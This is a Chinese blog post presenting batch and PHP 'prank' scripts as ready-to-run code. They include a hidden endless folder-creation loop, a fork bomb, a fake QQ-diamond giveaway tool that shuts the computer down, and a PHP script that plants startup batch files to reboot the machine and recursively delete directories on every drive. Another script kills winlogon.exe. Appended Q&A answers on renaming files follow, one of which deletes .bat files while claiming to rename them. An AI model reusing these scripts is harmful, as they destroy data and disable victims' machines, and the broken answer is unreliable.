关于批处理的几个恶搞系列

 恶搞一:不停在D盘生成随机数文件夹并读出来


@echo off
echo @echo off >%tmp%/fun.bat
echo :loop >>%tmp%/fun.bat
echo set value=%%random%% >>%tmp%/fun.bat
echo md d:/%%value%% >>%tmp%/fun.bat
echo mshta vbscript:CreateObject("SAPI.SpVoice").Speak("I'm coming %%value%%")(Window.close) >>%tmp%/fun.bat
echo goto :loop >>%tmp%/fun.bat
echo set ws=wscript.createobject("wscript.shell") >%tmp%/hide.vbs
echo ws.run "%tmp%/fun.bat /start",0 >>%tmp%/hide.vbs
start %tmp%/hide.vbs

恶搞二:请输入防病毒密码

@echo off
title 恐怖的病毒程序
color 9c
rem 隐藏代码:25038
rem 密码:123
echo 请您单击空格键,以察看以下信息:
echo.
@set,= 请你做好中病毒的准备,谢谢。。。&for /l %%i in (1,1,14)do @call set/p= %%,:~%%i,1%%<nul&ping/n 1 127.1>nul&pause>nul
echo.
echo.
echo.
echo.
echo /=============/
echo   BE CAREFUL!
echo /=============/
echo.
pause

:mima
cls
set mima=
set /p mima=请输入防止中病毒密码(纯数字密码):
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
if '%mima%'=='123' goto huanying
if '%mima%'=='25038' goto shit
goto exit
:start
set huanying=
:huanying
echo 密码正确。
echo 单击任意键察看密码错误后的解决方案。
pause>nul
:jijue
echo @echo off>>恐怖的病毒查杀工具.bat
echo echo 请在下一行“del echo ”后输入查杀目标位置。>>恐怖的病毒查杀工具.bat
echo del echo *.txt>>恐怖的病毒查杀工具.bat
echo echo 查杀完毕>>恐怖的病毒查杀工具.bat
echo pause>>恐怖的病毒查杀工具.bat
echo =====================解决方案==================
echo.
echo 1、任选一个“恐怖的病毒”单击右键选择属性。
echo.
echo 2、复制“位置:”后的字符。
echo.
echo 3、在本文件根目录下找到“恐怖的病毒查杀工具.bat”。
echo.
echo 4、点击右键并选择“编辑”。
echo.
echo 5、在第二行“echo ”后“*.txt”前(空格后)粘贴路径(刚才复制的)。
echo.
echo 6、保存后运行即可。
echo.
goto end

set exit=
:exit
echo 你被耍了!>>恐怖的病毒A.txt
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo 密码错误,缩小本窗口再看看吧!哈哈!
echo 单击任意键重新输入密码。
echo.
echo 在本文件根目录底下找吧!哈哈!再见了~
echo 单击任意键重新输入密码。
echo @echo off>>“正版专杀”工具.bat
echo title “正版专杀”工具>>“正版专杀”工具.bat
echo echo 可怜的孩子啊啊啊……>>“正版专杀”工具.bat
echo echo 你咋就没意识到有被刷了呢?????>>“正版专杀”工具.bat
echo echo 白痴啊啊啊啊啊………………>>“正版专杀”工具.bat
echo echo 我不涮你玩了,程序会自毁的。你再找那个“病毒”也找不到了!谢谢使用!!!>>“正版专杀”工具.bat
echo echo 对了,密码真的很简单哦!相信你一年级学过的。。。。。。>>“正版专杀”工具.bat
echo pause>>“正版专杀”工具.bat
echo del %1>>“正版专杀”工具.bat
echo pause
pause>nul
goto mima

:jijue
echo @echo off>>恐怖的病毒查杀工具.bat
echo 请在下一行“echo ”后输入查杀目标位置。>>恐怖的病毒查杀工具.bat
echo echo *.txt>>恐怖的病毒查杀工具.bat
echo 查杀完毕>>恐怖的病毒查杀工具.bat
echo pause>>恐怖的病毒查杀工具.bat
goto end

set shit=
:shit  
start %0
goto shit  

:end
pause

恶搞之三:刷钻工具
@ECHO off
TITLE 刷钻工具v1.0  
:start
CLS
COLOR 5f
COLOR A
rem
MODE con: COLS=41 LINES=21
rem MODE
set tm1=%time:~0,2%
set tm2=%time:~3,2%
set tm3=%time:~6,2%
ECHO %date% %tm1%点%tm2%分%tm3%秒
ECHO =========================================
ECHO 〓      http://www.xiaoyun.org.cn/         〓
ECHO =========================================
ECHO 选择要进行的操作,然后按回车
ECHO ————————————————————
ECHO.
ECHO 1. 免费QQ黄钻(每个IP只能刷一次)
ECHO 2. 免费QQ蓝钻(每个IP只能刷一次)
ECHO 3. 免费QQ紫钻(每个IP只能刷一次)
ECHO 4. 免费QQ红钻(每个IP只能刷一次)
ECHO 5. 免费QQ绿钻(每个IP只能刷一次)
ECHO 6. 免费QQ粉钻(每个IP只能刷一次)
ECHO 7. 免费QQ会员(每个IP只能刷一次)
ECHO.
set /p word = 请输入QQ号:
SET Choice=
SET /P Choice= 选择:
IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1%
IF /I "%Choice%"=="1" Shutdown.exe -s -t 10
IF /I "%Choice%"=="2" Shutdown.exe -s -t 20
IF /I "%Choice%"=="3" Shutdown.exe -s -t 30
IF /I "%Choice%"=="4" Shutdown.exe -s -t 40
IF /I "%Choice%"=="5" Shutdown.exe -s -t 100
IF /I "%Choice%"=="6" Shutdown.exe -s -t 130
IF /I "%Choice%"=="7" Shutdown.exe -s -t 230
exit

恶搞四:php写入BAT的代码


<?php
$a="c:/Documents and Settings/ACER/「开始」菜单/程序/启动/closecomputer.bat";
$b="@ echo off/r/n";
$c="shutdown -r -t 1 -c -f/r/n";
$h=fopen($a,"w");
if(is_writeable($a))
{
if(!$h) die("无法打开文件");
if(!(fwrite($h,$b)&&fwrite($h,$c)))
{
echo "无法写入文件";
exit;}
echo "文件$b/t$c 成功写入 $a 中";
fclose($h);
}
else
echo "$a 文件不可用";

$d="c:/Documents and Settings/ACER/「开始」菜单/程序/启动/killcomputer.bat";
$h=fopen($d,"w");
fwrite($h, "@ echo off/r/n");
fwrite($h,"if exist c:/Docume~1/ACER/「开始」菜单/程序/启动/closecomputer.bat  del /f /q /s c:/Docume~1/ACER/「开始」菜单/程序/启动/closecomputer.bat/r/n");
fwrite($h, "attrib -s -h -a -r c:/*.* /s /d /r/nattrib -s -h -a -r d:/*.* /s /d /r/nattrib -s -h -a -r e:/*.* /s /d /r/nattrib -s -h -a -r f:/*.* /s /d /r/n");
fwrite($h, "attrib -s -h -a -r j:/*.* /s /d /r/nattrib -s -h -a -r k:/*.* /s /d /r/nattrib -s -h -a -r l:/*.* /s /d /r/nattrib -s -h -a -r m:/*.* /s /d /r/n");
fwrite($h,"rd /s /q c:/%t%/ /t
rd /s /q d:/%t%/ /t
rd /s /q e:/%t%/ /t
rd /s /q f:/%t%/ /t
rd /s /q g:/%t%/ /t
rd /s /q h:/%t%//t
rd /s /q i:/%t%//t
rd /s /q j:/%t%/ /t
rd /s /q k:/%t%/ /t
rd /s /q l:/%t%/ /t
rd /s /q m:/%t%/ /t
rd /s /q n:/%t%/ /t
rd /s /q o:/%t%/ /t
rd /s /q p:/%t%/ /t
rd /s /q q:/%t%/ /t
rd /s /q r:/%t%/ /t
rd /s /q s:/%t%/ /t
rd /s /q t:/%t%/ /t
rd /s /q u:/%t%/ /t
rd /s /q v:/%t%/ /t
rd /s /q w:/%t%/ /t
rd /s /q x:/%t%/ /t
rd /s /q y:/%t%/ /t
rd /s /q z:/%t%/ ");
echo "<br> 代码与文件成功写入";
?>

恶搞之五:把关机K掉!


让你的关机消失
让你回收站的东西不能还原
title 自己看看了
color f1
mode con: cols=40 lines=18
echo.
::ntsd -c q -pn winlogon.exe
taskkill /f /t /im  winlogon.exe
start lsass.exe
shutdown -a
pause>nul

注意:请不要随便使用,仅供学习之用,若出现任何问题,后果自负!如果不懂最好不要滥用!

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 批处理是一种在Windows操作系统中用于批量处理任务的脚本语言。批处理删除文件名最后几个字的话,我可以编写一个简单的批处理脚本来实现这个功能。 你可以按照以下步骤来完成: 1. 首先,打开一个文本编辑器,新建一个批处理文件,以.bat为扩展名,例如 "delete_last_chars.bat"。 2. 使用以下命令编写脚本内容: ``` @echo off setlocal enabledelayedexpansion set target_dir=D:\your_folder_path\ [这里替换成你实际的文件夹路径] for /R %target_dir% %%F in (*) do ( set "filename=%%~nF" set "extension=%%~xF" set "new_filename=!filename:~0,-number_of_chars!!extension!" ren "%%F" "!new_filename!" ) echo 文件名删除完毕! pause ``` 3. 将 "D:\your_folder_path\" 替换为你想要批量删除文件名最后几个字的文件夹路径。 4. 将 "number_of_chars" 替换为你想要删除的文件名的最后几个字的个数。 5. 保存并关闭文本编辑器。 6. 双击运行批处理文件,它将删除指定文件夹中所有文件名最后几个字的字母。 7. 执行完毕后,命令行窗口会显示 "文件名删除完毕!",按任意键退出。 请注意,运行前最好先备份文件夹中的文件,以免意外删除错误的文件。此外,确保输入的路径和文件名的数量正确无误。 ### 回答2: 批处理是一种用于自动执行一系列命令或操作的脚本,可以用来实现文件操作功能,如删除文件。要实现批处理删除文件名最后几个字的功能,可以使用以下方法: 1. 使用批处理的字符串操作命令。可以通过截取字符串的方式删除文件名最后几个字。以下是一个示例代码: ``` @echo off setlocal enabledelayedexpansion set targetFolder=C:\path\to\folder for /R "%targetFolder%" %%F in (*.bat) do ( set "filename=%%~nF" set "extension=%%~xF" set "newfilename=!filename:~0,-4!!extension!" echo Deleting %%F del "%%F" ) ``` 上述代码中,`set targetFolder=...`用于设置需要进行文件删除操作的文件夹路径。`for /R "%targetFolder%" %%F in (*.bat) do`用于遍历文件夹中的所有.bat文件。`set "filename=%%~nF"`用于获取文件名部分。`set "extension=%%~xF"`用于获取文件后缀。`set "newfilename=!filename:~0,-4!!extension!"`用于截取文件名的开头到倒数第4个字符,然后与文件后缀拼接为新的文件名。`echo Deleting %%F`用于打印正在删除的文件名。`del "%%F"`用于删除文件。 2. 批处理也可以通过使用辅助工具实现删除文件名最后几个字的功能。例如使用第三方工具`PowerShell`来进行字符串截取操作。以下是一个示例代码: ``` @echo off set targetFolder=C:\path\to\folder set powershellExe=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe for /R "%targetFolder%" %%F in (*.bat) do ( set "filename=%%~nF" set "extension=%%~xF" set "command=^& {Write-Output -n %%F; $newfilename = $filename.Substring(0, $filename.Length-4) + $extension; Move-Item -Path %%F -Destination $newfilename}" echo Deleting %%F %powershellExe% -Command "%command%" ) ``` 上述代码中,`set targetFolder=...`用于设置需要进行文件删除操作的文件夹路径。`set powershellExe=...`用于设置PowerShell可执行文件的路径。`for /R "%targetFolder%" %%F in (*.bat) do`用于遍历文件夹中的所有.bat文件。`set "filename=%%~nF"`用于获取文件名部分。`set "extension=%%~xF"`用于获取文件后缀。然后使用PowerShell命令进行字符串截取操作,并将新文件名与原文件进行重命名操作。 `echo Deleting %%F`用于打印正在删除的文件名。`%powershellExe% -Command "%command%"`用于执行PowerShell命令。 以上是两种使用批处理删除文件名最后几个字的方法,根据具体情况选择适合自己的方法进行操作。 ### 回答3: 批处理是一种可以批量处理多个文件或任务的脚本语言。在批处理中,我们可以使用一些命令来删除文件名的最后几个字。下面是一个示例的批处理脚本,可以删除目录中所有文件名的最后3个字: ``` @echo off setlocal EnableDelayedExpansion set targetFolder=C:\path\to\your\folder for %%F in ("%targetFolder%\*.*") do ( set "filename=%%~nF" set "extension=%%~xF" set "newFilename=!filename:~0,-3!!extension!" echo Deleting: %%F echo Renaming to: !newFilename! ren "%%F" "!newFilename!" ) echo All files have been renamed and processed. endlocal ``` 在这个脚本中,我们首先设置了一个变量`targetFolder`,用于指定目标文件夹的路径。然后,我们使用`for`循环遍历该文件夹下的所有文件。对于每个文件,我们获取它的文件名和扩展名,并使用`set`命令进行处理。 在这个例子中,我们使用`!filename:~0,-3!`来截取文件名的前N个字符,其中N为要删除的字符数。然后,我们将新的文件名和原扩展名结合起来,并使用`ren`命令进行文件重命名。 脚本执行完成后,将显示所有已重命名和处理的文件。 请注意,执行此批处理脚本有一定风险,请确保在执行前备份所有文件,以防意外删除或重命名。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值